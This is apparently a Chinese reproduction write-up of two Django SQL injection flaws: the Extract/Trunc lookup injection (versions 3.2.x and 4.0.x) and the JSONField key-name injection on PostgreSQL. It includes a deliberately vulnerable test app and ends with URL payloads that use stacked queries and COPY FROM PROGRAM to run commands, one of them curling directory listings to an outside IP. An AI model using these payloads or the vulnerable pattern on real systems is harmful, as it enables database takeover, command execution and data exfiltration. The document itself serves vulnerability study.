目录
一、漏洞成因
二、复现
1.环境搭建
2,django搭建
3,过程调试:
Extract和Trunk源码:
class Extract(TimezoneMixin, Transform):
lookup_name = None
output_field = IntegerField()
def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
if self.lookup_name is None:
self.lookup_name = lookup_name
if self.lookup_name is None:
raise ValueError('lookup_name must be provided')
self.tzinfo = tzinfo
super().__init__(expression, **extra)
class Trunc(TruncBase):
def __init__(self, expression, kind, output_field=None, tzinfo=None, is_dst=None, **extra):
self.kind = kind
super().__init__(
expression, output_field=output_field, tzinfo=tzinfo,
is_dst=is_dst, **extra
)
Extract用于提取日期,可以提起日期字段中的年,月,日。如2022-7-13 12:12:12可以提取2022。
Trunc用于截取日期,比如日期字段中年,月,日。可以截取2022-7-13。
此次SQL注入漏洞的成因就是将数据赋值给lookup_name或kind时,未经过过滤或转义则直接进行了数据库的查询。
影响版本:3.2.0-3.2.14,4.0.0-4.0.6
1,数据库的搭建:
Settings.py:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'cve34265',
'USER': 'root',
'PASSWORD': 'root',
'HOST': 'localhost',
'PORT': '3306',
}
}
models.py:
from datetime import datetime
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
class Meta:
db_table = 'experiment'
urls.py:
from cve.views import test
from django.contrib import admin
from django.urls import path
urlpatterns = [
path('extract_test/',test.extract_test),
path('trunc_test/',test.trunc_test),
path('admin/', admin.site.urls),
]
test.py:
from django.shortcuts import render
from django.http import HttpResponse
from django.db.models.functions import Extract, Trunc
from cve.models import Experiment
def extract_test(request):
lookup_name = request.GET.get('lookup_name')
test = Experiment.objects.filter(start_datetime__year=Extract('start_datetime', lookup_name)).exists()
print(test)
return HttpResponse('extract_test')
def trunc_test(request):
kind = request.GET.get('kind')
test = Experiment.objects.filter(start_datetime__day=Trunc('start_datetime', kind)).exists()
print(test)
return HttpResponse('trunc_test')
# Create your views here.
(1) 进入API函数接口后,首先进入Django的models/query.py的对应方法进行操作处理,如test.py的查询首先调用exists函数:
(2)经过has_results函数等一系列传递,进入compile函数:
(3)compile函数将 得到的结果传入as_sql中:
(4)as_sql函数执行datetime.extract_sql函数:
(5)date_extract_sql函数进入else,生成EXTRACT(YEAR FROM Experiment '.' start datetime)返回到_query()函数中
返回的语句在数据库中被执行。
总结:对于传入的参数,仅仅只完成了大写的转换,没有检查就拼接到Where的SQL语句中查询,存在SQL注入漏洞,可以使用updatexml或extractvalue报错注入进行查询。
漏洞的成因是开发者使用了JSONField,并且可控制queryset查询时的键名,在键名位置进行注入。本质的原因是搭配postgresql数据库时,通过JSONField生成sql语句时,是通过简单的字符串拼接。
class KeyTransformFactory:
def __init__(self, key_name):
self.key_name = key_name
def __call__(self, *args, **kwargs):
return KeyTransform(self.key_name, *args, **kwargs)
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous = self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params
这里原本生成的语句是WHERE(field->'[key_name]'='value',但是这里key_name直接进行的字符串拼接。因而联合postgresql9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令,便可以造成命令执行。
/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'curl http://120.79.29.170:5555/`ls /tmp`'--%20